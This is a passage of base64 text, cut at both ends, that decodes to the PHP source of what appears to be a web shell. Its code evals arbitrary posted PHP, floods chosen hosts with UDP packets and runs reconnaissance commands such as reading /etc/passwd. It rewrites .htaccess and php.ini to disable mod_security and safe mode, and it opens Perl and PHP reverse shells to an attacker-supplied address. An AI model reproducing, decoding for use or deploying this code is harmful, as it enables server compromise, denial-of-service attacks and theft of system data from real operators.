kgJiYgKCRfUE9TVFsncDInXSA9PSAnZXh0ZW4nKSkgewogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+JzsKICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgICAkRVhUPWdldF9sb2FkZWRfZXh0ZW5zaW9ucyAoKTsKICAgICBwcmludCAnPHRhYmxlIGJvcmRlcj0wPjx0cj48dGQgY2xhc3M9Imxpc3RpbmciPicKICAgICAgICAuaW1wbG9kZSgnPC90ZD48L3RyPicuIlxuIi4nPHRyPjx0ZCBjbGFzcz0ibGlzdGluZyI+JywgJEVYVCkKICAgICAgICAuJzwvdGQ+PC90cj48L3RhYmxlPicKICAgICAgICAuY291bnQoJEVYVCkuJyBleHRlbnNpb25zIGxvYWRlZCc7CiAgICAgICAgICAgICAgICAKICAgICAgICAKICAgICAgICBlY2hvICc8L2Rpdj48YnI+JzsKICAgICAgICB9CiAgICAKICAgIAogICAgICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSAmJiAhZW1wdHkoJF9QT1NUWydwMSddKSkKICAgICAgICAgICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSBmYWxzZTsKICAgIGVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxDZW50ZXI+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdwaHBldmFsXCcsbnVsbCxcJ1wnLFwnaW5pXCcpIj58IElOSV9JTkZPIHwgPC9hPjxhIGhyZWY9IyBvbmNsaWNrPSJnKFwncGhwZXZhbFwnLG51bGwsXCdcJyxcJ2luZm9cJykiPiAgICB8IHBocGluZm8gfDwvYT48YSBocmVmPSMgb25jbGljaz0iZyhcJ3BocGV2YWxcJyxudWxsLFwnXCcsXCdleHRlblwnKSI+ICAgfCBleHRlbnNpb25zICB8PC9hPjwvY2VudGVyPjxicj48Zm9ybSBuYW1lPXBmIG1ldGhvZD1wb3N0IG9uc3VibWl0PSJnKFwncGhwZXZhbFwnLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpOyByZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydwMSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxjZW50ZXI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPUV2YWwgc3R5bGU9Im1hcmdpbi10b3A6NXB4Ij48L2NlbnRlcj4nOwogICAgICAgIGVjaG8gJzwvZm9ybT48cHJlIGlkPVBocE91dHB1dCBzdHlsZT0iJy4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLidtYXJnaW4tdG9wOjVweDsiIGNsYXNzPW1sMT4nOwogICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICAgICAgICAgZXZhbCgkX1BPU1RbJ3AxJ10pOwogICAgICAgICAgICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsKICAgICAgICB9CiAgICAgICAgZWNobyAnPC9wcmU+PC9kaXY+JzsKICAKICAgIG1hZGZvb3RlcigpOwp9CgpmdW5jdGlvbiBtYWRoYXNoKCkKewogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmJpbicpKSB7ZnVuY3Rpb24gaGV4MmJpbigkcCkge3JldHVybiBkZWNiaW4oaGV4ZGVjKCRwKSk7fX0KICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7ZnVuY3Rpb24gYmluaGV4KCRwKSB7cmV0dXJuIGRlY2hleChiaW5kZWMoJHApKTt9fQogICAgICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScpKSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRpKz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319CiAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYXNjaWkyaGV4JykpIHtmdW5jdGlvbiBhc2NpaTJoZXgoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49IHNwcmludGYoJyUwMlgnLG9yZCgkcFskaV0pKTtyZXR1cm4gc3RydG91cHBlcigkcik7fX0KICAgICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7ZnVuY3Rpb24gZnVsbF91cmxlbmNvZGUoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0cmxlbigkcCk7KyskaSkkci49ICclJy5kZWNoZXgob3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQogICAgICAgICRzdHJpbmdUb29scyA9IGFycmF5KAogICAgICAgICAgICAgICAgJ0Jhc2U2NCBlbmNvZGUnID0+ICdiYXNlNjRfZW5jb2RlJywKICAgICAgICAgICAgICAgICdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsCiAgICAgICAgJ21kNSBoYXNoJyA9PiAnbWQ1JywKICAgICAgICAgICAgICAgICdzaGExIGhhc2gnID0+ICdzaGExJywKICAgICAgICAgICAgICAgICdjcnlwdCcgPT4gJ2NyeXB0JywKICAgICAgICAgICAgICAgICdDUkMzMicgPT4gJ2NyYzMyJywKICAgICAgICAgICAgICAgICdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywKICAgICAgICAgICAgICAgICdVcmwgZGVjb2RlJyA9PiAndXJsZGVjb2RlJywKICAgICAgICAgICAgICAgICdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywKICAgICAgICAgICAgICAgICdIdG1sc3BlY2lhbGNoYXJzJyA9PiAnaHRtbHNwZWNpYWxjaGFycycsCiAgICAgICAgICAgICAgICAKICAgICAgICApOwogICAgICAgIAogICAgICAgIG1hZGhlYWQoKTsKICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwogICAgICAgIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOwogICAgICAgIGVjaG8gIjxmb3JtICBvblN1Ym1pdD0nZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpOyByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7CiAgICAgICAgZm9yZWFjaCgkc3RyaW5nVG9vbHMgYXMgJGsgPT4gJHYpCiAgICAgICAgICAgICAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7CiAgICAgICAgICAgICAgICBlY2hvICI8L3NlbGVjdD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nLz48YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii4oZW1wdHkoJF9QT1NUWydwMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsKICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMSddKSkgewogICAgICAgICAgICAgICAgaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKWVjaG8gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKSk7CiAgICAgICAgfQogICAgICAgIGVjaG8gIjwvZGl2PiI7CiAgICAgICAgbWFkRm9vdGVyKCk7CiAgICAKfQpmdW5jdGlvbiBtYWRkb3MoKQp7CiAgICBtYWRoZWFkKCk7CiAgICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwogIGlmKGVtcHR5KCRfUE9TVFsnYWpheCddKSYmIWVtcHR5KCRfUE9TVFsncDEnXSkpCiAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10gPSBmYWxzZTsKICBlY2hvICc8Y2VudGVyPjxzcGFuPnwgVURQIERPU1NJRVIgfDwvc3Bhbj48YnI+PGJyPjxmb3JtIG9uU3VibWl0PSJnKG51bGwsbnVsbCx0aGlzLnVkcGhvc3QudmFsdWUsdGhpcy51ZHB0aW1lLnZhbHVlLHRoaXMudWRwcG9ydC52YWx1ZSk7IHJldHVybiBmYWxzZTsiIG1ldGhvZD1QT1NUPjxzcGFuPkhvc3QgOjwvc3Bhbj48aW5wdXQgbmFtZT0idWRwaG9zdCIgdHlwZT0idGV4dCIgIHNpemU9IjI1IiAvPjxzcGFuPlRpbWUgOjwvc3Bhbj48aW5wdXQgbmFtZT0idWRwdGltZSIgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIC8+PHNwYW4+UG9ydCA6PC9zcGFuPjxpbnB1dCBuYW1lPSJ1ZHBwb3J0IiB0eXBlPSJ0ZXh0IiBzaXplPSIxMCIgLz48aW5wdXQgIHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4+IiAvPjwvZm9ybT48L2NlbnRlcj4nOwogIGVjaG8gIjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnID4iOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgIWVtcHR5KCRfUE9TVFsncDMnXSkpCiAgICB7CiAgICAgICAgICRwYWNrZXRzPTA7CiAgICAgICAgaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7CiAgICAgICAgJGV4ZWNfdGltZT0kX1BPU1RbJ3AyJ107CiAgICAgICAgJHRpbWU9dGltZSgpOwogICAgICAgICRtYXhfdGltZT0kZXhlY190aW1lKyR0aW1lOwogICAgICAgICRob3N0PSRfUE9TVFsncDEnXTsKICAgICAgICAkcG9ydHVkcD0kX1BPU1RbJ3AzJ107CiAgICAgICAgZm9yKCRpPTA7JGk8NjUwMDA7JGkrKykKICAgICAgICB7CiAgICAgICAgICAgICRvdXQgLj0gJ1gnOwogICAgICAgIH0KICAgICAgICB3aGlsZSgxKXsKICAgIAogICAgICAgICAkcGFja2V0cysrOwogICAgICAgICAgICBpZih0aW1lKCkgPiAkbWF4X3RpbWUpewogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICAkZnAgPSBmc29ja29wZW4oJ3VkcDovLycuJGhvc3QsICRwb3J0dWRwLCAkZXJybm8sICRlcnJzdHIsIDUpOwogICAgICAgICAgICBpZigkZnApewogICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsICRvdXQpOwogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgZWNobyAiJHBhY2tldHMgKCIgLiByb3VuZCgoJHBhY2tldHMqNjUpLzEwMjQsIDIpIC4gIiBNQikgcGFja2V0cyBhdmVyYWdpbmcgIi4gcm91bmQoJHBhY2tldHMvJGV4ZWNfdGltZSwgMikgLiAiIHBhY2tldHMgcGVyIHNlY29uZCI7CiAgICAgICAgIGVjaG8gIjwvcHJlPiI7CiAgICB9CiAgICAKICAgIGVjaG8gJzwvZGl2Pic7IAogICAKICAgIG1hZGZvb3RlcigpOyAgICAgICAgCn0KCmZ1bmN0aW9uIG1hZHByb2MoKQp7CiAgICBtYWRoZWFkKCk7CiAgICBlY2hvICI8RGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPiI7CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CiAgaWYoJEdMT0JBTFNbJ3N5cyddPT0id2luIikKICB7CiAgICAkcHJvY2Vzcz1hcnJheSgKICAgICJTeXN0ZW0gSW5mbyIgPT4ic3lzdGVtaW5mbyIsCiAgICAiQWN0aXZlIENvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAogICAgICAgICJSdW5uaW5nIFNlcnZpY2VzIiA9PiAibmV0IHN0YXJ0IiwKICAgICAgICAiVXNlciBBY2NvdW50cyIgPT4gIm5ldCB1c2VyIiwKICAgICAgICAiU2hvdyBDb21wdXRlcnMiID0+ICJuZXQgdmlldyIsCiAgICAiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwKICAgICJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCIKICAgICk7CiAgICB9CiAgZWxzZQogIHsgCiAgICAkcHJvY2Vzcz1hcnJheSgKICAgICJQcm9jZXNzIHN0YXR1cyIgPT4gInBzIGF1eCIsCiAgICAiU3lzbG9nIiA9PiJjYXQgIC9ldGMvc3lzbG9nLmNvbmYiLAogICAgIlJlc29sdiIgPT4gImNhdCAgL2V0Yy9yZXNvbHYuY29uZiIsCiAgICAiSG9zdHMiID0+ImNhdCAvZXRjL2hvc3RzIiwKICAgICJQYXNzd2QiID0+ImNhdCAvZXRjL3Bhc3N3ZCIsCiAgICAiQ3B1aW5mbyI9PiJjYXQgL3Byb2MvY3B1aW5mbyIsCiAgICAiVmVyc2lvbiI9PiJjYXQgL3Byb2MvdmVyc2lvbiIsCiAgICAiU2JpbiI9PiJscyAtYWwgL3Vzci9zYmluIiwKICAgICJJbnRlcnJ1cHRzIj0+ImNhdCAvcHJvYy9pbnRlcnJ1cHRzIiwKICAgICJsc2F0dHIiPT4ibHNhdHRyIC12YSIsCiAgICAiVXB0aW1lIj0+InVwdGltZSIsCiAgICAiRnN0YWIiID0+ImNhdCAvZXRjL2ZzdGFiIiwKICAgICJIREQgU3BhY2UiID0+ICJkZiAtaCIKICAgICk7fQogICAgCiAgICBmb3JlYWNoKCRwcm9jZXNzIGFzICRuID0+ICRsaW5rKQogICAgewogICAgICAgIGVjaG8gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnJy4kbGluay4nXCcpIj4gfCAnLiRuLicgfCA8L2E+JzsKICAgIH0KICAgIGVjaG8gIjwvY2VudGVyPiI7IAogICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICAgIHsKICAgICAgICBlY2hvICI8cHJlIGNsYXNzPSdtbDEnIHN0eWxlPSdtYXJnaW4tdG9wOjVweCcgPiI7CiAgICAgICAgZWNobyBtYWRFeCgkX1BPU1RbJ3AxJ10pOwogICAgICAgIGVjaG8gJzwvcHJlPic7CiAgICAgfQogICAgIGVjaG8gIjwvZGl2PiI7CiAgICAgbWFkZm9vdGVyKCk7CiAgICAgfQogICAgIApmdW5jdGlvbiBtYWRzYWZlKCkKewogICAgbWFkaGVhZCgpOwogICAgZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48aDM+PHNwYW4+fCBTQUZFIE1PREUgQU5EIE1PRCBTRUNVUklUWSBESVNBQkxFRCBBTkQgUEVSTCA1MDAgSU5URVJOQUwgRVJST1IgQllQQVNTIHw8L3NwYW4+PC9oMz5Gb2xsb3dpbmcgcGhwLmluaSBhbmQgLmh0YWNjZXNzKG1vZCkgYW5kIHBlcmwoLmh0YWNjZXNzKVtjb252ZXJ0IHBlcmwgZXh0ZW50aW9uICoucGwgPT4gKi5zaCAgXSBmaWxlcyBjcmVhdGUgaW4gZm9sbG93aW5nIGRpcjxicj58ICIuJEdMT0JBTFNbJ2N3ZCddLiIgfDxicj4iOwogICAgZWNobyAnPGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwncGhwLmluaVwnLG51bGwpIj58IFBIUC5JTkkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsXCdpbmlcJykiPnwgLmh0YWNjZXNzKE1vZCkgfCA8L2E+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLG51bGwsbnVsbCxcJ3NoXCcpIj58IC5odGFjY2VzcyhwZXJsKSB8IDwvYT48L2NlbnRlcj4nOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDInXSkgJiYgaXNzZXQoJF9QT1NUWydwMiddKSkKICAgIHsKICAgICRmaWw9Zm9wZW4oJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCJ3Iik7CiAgICBmd3JpdGUoJGZpbCwnPElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPgpTZWMtLS0tLS1FbmdpbmUgT2ZmClNlYy0tLS0tLVNjYW5QT1NUIE9mZgo8L0lmTW9kdWxlPicpOwogICAgZmNsb3NlKCRmaWwpOwogICB9CiAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pJiYgaXNzZXQoJF9QT1NUWydwMSddKSkKICAgewogICAgJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uInBocC5pbmkiLCJ3Iik7CiAgICAgIGZ3cml0ZSgkZmlsLCdzYWZlX21vZGU9T0ZGCmRpc2FibGVfZnVuY3Rpb25zPU5PTkUnKTsKICAgICBmY2xvc2UoJGZpbCk7CiAgICB9CiAgICBpZighZW1wdHkoJF9QT1NUWydwMyddKSAmJiBpc3NldCgkX1BPU1RbJ3AzJ10pKQogICAgewogICAgJGZpbD1mb3BlbigkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsInciKTsKICAgIGZ3cml0ZSgkZmlsLCdPcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLnNoCkFkZEhhbmRsZXIgY2dpLXNjcmlwdCAucGwKQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbCcpOwogICAgIGZjbG9zZSgkZmlsKTsgCiAgICB9CiAgICBlY2hvICI8YnI+PC9kaXY+IjsKICAgIG1hZGZvb3RlcigpOwogICAgCn0KCmZ1bmN0aW9uIG1hZGNvbm5lY3QoKQp7CiBtYWRoZWFkKCk7CiAkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsKIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGgzPjxzcGFuPnwgUEVSTCBBTkQgUEhQKHRocmVhZHMpIEJBQ0sgQ09OTkVDVCB8PC9zcGFuPjwvaDM+IjsKIGVjaG8gIjxmb3JtICBvblN1Ym1pdD1cImcobnVsbCxudWxsLCdiY3AnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPlBFUkwgQkFDSyBDT05ORUNUPC9zcGFuPjxicj5JUDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+IjsKIGVjaG8gIjxicj48Zm9ybSAgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwncGhwJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIj48c3Bhbj5QSFAgQkFDSyBDT05ORUNUPC9zcGFuPjxicj5JUDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC9jZW50ZXI+IjsKIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIGNmKCRmLCR0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHcpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCR3KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdiY3AnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOwogICAgICAgICAgICAgICAgICAgICAgICAkb3V0ID0gbWFkRXgoInBlcmwgL3RtcC9iYy5wbCAiLiRfUE9TVFsncDInXS4iICIuJF9QT1NUWydwMyddLiIgMT4vZGV2L251bGwgMj4mMSAmIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+U3VjY2Vzc2Z1bGx5IG9wZW5lZCByZXZlcnNlIHNoZWxsIHRvICIuJF9QT1NUWydwMiddLiI6Ii4kX1BPU1RbJ3AzJ10uIjxicj5Db25uZWN0aW5nLi4uPC9wcmU+IjsKICAgICAgICAgICAgQHVubGluaygiL3RtcC9iYy5wbCIpOwogICAgICAgICAgICAgICAgfQogICAgICAgIGlmKCRfUE9TVFsncDEnXT09J3BocCcpCiB7CiAgICAgICAgICAgIApAc2V0X3RpbWVfbGltaXQgKDApOwokaXAgPSAkX1BPU1RbJ3AyJ107IAokcG9ydCA9JF9QT1NUWydwMyddOyAgICAgCiRjaHVua19zaXplID0gMTQwMDsKJHdyaXRlX2EgPSBudWxsOwokZXJyb3JfYSA9IG51bGw7CiRzaGVsbCA9ICd1bmFtZSAtYTsgdzsgaWQ7IC9iaW4vc2ggLWknOwokZGFlbW9uID0gMDsKJGRlYnVnID0gMDsKZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz4iOwoKaWYgKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKSB7CiAgICAgICAgCiAgICAgICAgJHBpZCA9IHBjbnRsX2ZvcmsoKTsKICAgICAgICAKICAgICAgICBpZiAoJHBpZCA9PSAtMSkgewogICAgICAgICAgICAgICAgZWNobyAiQ2FudCBmb3JrITxicj4iOwogICAgICAgICAgICAgICAgZXhpdCgxKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgaWYgKCRwaWQpIHsKICAgICAgICAgICAgICAgIGV4aXQoMCk7ICAKICAgICAgICB9CgogICAgICAgIGlmIChwb3NpeF9zZXRzaWQoKSA9PSAtMSkgewogICAgICAgICAgICAgICAgZWNobyAiRXJyb3I6IENhbid0IHNldHNpZCgpPGJyPiI7CiAgICAgICAgICAgICAgICBleGl0KDEpOwogICAgICAgIH0KCiAgICAgICAgJGRhZW1vbiA9IDE7Cn0gZWxzZSB7CiAgICAgICAgZWNobyAiV0FSTklORzogRmFpbGVkIHRvIGRhZW1vbmlzZS4gIFRoaXMgaXMgcXVpdGUgY29tbW9uIGFuZCBub3QgZmF0YWw8YnI+IjsKfQoKY2hkaXIoIi8iKTsKCnVtYXNrKDApOwoKJHNvY2sgPSBmc29ja29wZW4oJGlwLCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyLCAzMCk7CmlmICghJHNvY2spIHsKICAgICAgICBlY2hvICIkZXJyc3RyICgkZXJybm8pIjsKICAgICAgICBleGl0KDEpOwp9CgoKJGRlc2NyaXB0b3JzcGVjID0gYXJyYXkoCiAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAgCiAgIDEgPT4gYXJyYXkoInBpcGUiLCAidyIpLCAgCiAgIDIgPT4gYXJyYXkoInBpcGUiLCAidyIpICAgCik7CgokcHJvY2VzcyA9IHByb2Nfb3Blbigkc2hlbGwsICRkZXNjcmlwdG9yc3BlYywgJHBpcGVzKTsKCmlmICghaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSB7CiAgICAgICAgZWNobyAiRVJST1I6IENhbid0IHNwYXduIHNoZWxsPGJyPiI7CiAgICAgICAgZXhpdCgxKTsKfQoKCkBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1swXSwgMCk7CkBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sxXSwgMCk7CkBzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1syXSwgMCk7CkBzdHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLCAwKTsKCmVjaG8gIlN1Y2Nlc3NmdWxseSBvcGVuZWQgcmV2ZXJzZSBzaGVsbCB0byAkaXA6JHBvcnQ8YnI+IjsKCndoaWxlICgxKSB7CiAgICAgICAgaWYgKGZlb2YoJHNvY2spKSB7CiAgICAgICAgICAgICAgICBlY2hvICJFUlJPUjogU2hlbGwgY29ubmVjdGlvbiB0ZXJtaW5hdGVkPGJyPiI7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmIChmZW9mKCRwaXBlc1sxXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gIkVSUk9SOiBTaGVsbCBwcm9jZXNzIHRlcm1pbmF0ZWQ8YnI+IjsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgCiAgICAgICAgJHJlYWRfYSA9IGFycmF5KCRzb2NrLCAkcGlwZXNbMV0sICRwaXBlc1syXSk7CiAgICAgICAgJG51bV9jaGFuZ2VkX3NvY2tldHM9QHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsKCiAgICAgICAgaWYgKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSkgewogICAgICAgICAgICAgICAgaWYgKCRkZWJ1ZykgZWNobyAiU09DSyBSRUFEPGJyPiI7CiAgICAgICAgICAgICAgICAkaW5wdXQ9ZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTsKICAgICAgICAgICAgICAgIGlmICgkZGVidWcpIGVjaG8gIlNPQ0s6ICRpbnB1dDxicj4iOwogICAgICAgICAgICAgICAgZndyaXRlKCRwaXBlc1swXSwgJGlucHV0KTsKICAgICAgICB9CgogICAgICAgIGlmIChpbl9hcnJheSgkcGlwZXNbMV0sICRyZWFkX2EpKSB7CiAgICAgICAgICAgICAgICBpZiAoJGRlYnVnKSBlY2hvICJTVERPVVQgUkVBRDxicj4iOwogICAgICAgICAgICAgICAgJGlucHV0ID0gZnJlYWQoJHBpcGVzWzFdLCAkY2h1bmtfc2l6Z